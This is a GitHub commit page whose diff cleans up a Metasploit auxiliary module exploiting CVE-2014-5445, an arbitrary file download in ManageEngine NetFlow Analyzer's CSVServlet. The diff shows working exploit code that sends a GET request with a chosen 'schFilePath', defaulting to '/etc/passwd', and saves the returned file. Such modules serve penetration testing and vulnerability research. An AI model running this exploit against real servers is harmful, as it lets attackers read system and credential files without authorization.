Skip to content

Commit 15cb3fb

Browse files
author
Pedro Ribeiro
committed
Merge pull request #11 from jvazquez-r7/review_4282
Clean CVE-2014-5445 module
2 parents 26d9ef4 + ff30a27 commit 15cb3fb

File tree

1 file changed

+10
-16
lines changed

1 file changed

+10
-16
lines changed

modules/auxiliary/admin/http/netflow_file_download.rb

Lines changed: 10 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -12,18 +12,18 @@ class Metasploit3 < Msf::Auxiliary
1212

1313
def initialize(info={})
1414
super(update_info(info,
15-
'Name' => "ManageEngine NetFlow Analyzer Arbitrary File Download",
15+
'Name' => 'ManageEngine NetFlow Analyzer Arbitrary File Download',
1616
'Description' => %q{
17-
This module exploits an arbitrary file download vulnerability in CSVServlet
18-
on ManageEngine NetFlow Analyzer.
19-
This module has been tested on both Windows and Linux with versions 8.6 to 10.2.
20-
Windows paths have to be escaped with 4 backslashes on the command line.
17+
This module exploits an arbitrary file download vulnerability in CSVServlet
18+
on ManageEngine NetFlow Analyzer. This module has been tested on both Windows
19+
and Linux with versions 8.6 to 10.2. Windows paths have to be escaped with 2
20+
backslashes on the command line.
2121
},
22-
'Author' =>
22+
'Author' =>
2323
[
2424
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
2525
],
26-
'License' => MSF_LICENSE,
26+
'License' => MSF_LICENSE,
2727
'References' =>
2828
[
2929
[ 'CVE', '2014-5445' ],
@@ -38,18 +38,12 @@ def initialize(info={})
3838
Opt::RPORT(8080),
3939
OptString.new('TARGETURI',
4040
[ true, "The base path to NetFlow Analyzer", '/netflow' ]),
41-
OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with 4 back slashes)', '/etc/passwd']),
41+
OptString.new('FILEPATH', [true, 'Path of the file to download (escape Windows paths with 2 back slashes)', '/etc/passwd']),
4242
], self.class)
4343
end
4444

4545

4646
def run
47-
# No point to continue if filepath is not specified
48-
if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?
49-
print_error("Please supply the path of the file you want to download.")
50-
return
51-
end
52-
5347
# Create request
5448
begin
5549
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
@@ -58,7 +52,7 @@ def run
5852
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', 'CSVServlet'),
5953
'vars_get' => { 'schFilePath' => datastore['FILEPATH'] },
6054
})
61-
rescue Rex::ConnectionRefused
55+
rescue Rex::ConnectionError
6256
print_error("#{peer} - Could not connect.")
6357
return
6458
end
@@ -79,7 +73,7 @@ def run
7973
res.body,
8074
fname
8175
)
82-
print_good("File saved in: #{path}")
76+
print_good("#{peer} - File saved in: #{path}")
8377
else
8478
print_error("#{peer} - Failed to download file.")
8579
end

0 commit comments

Comments
 (0)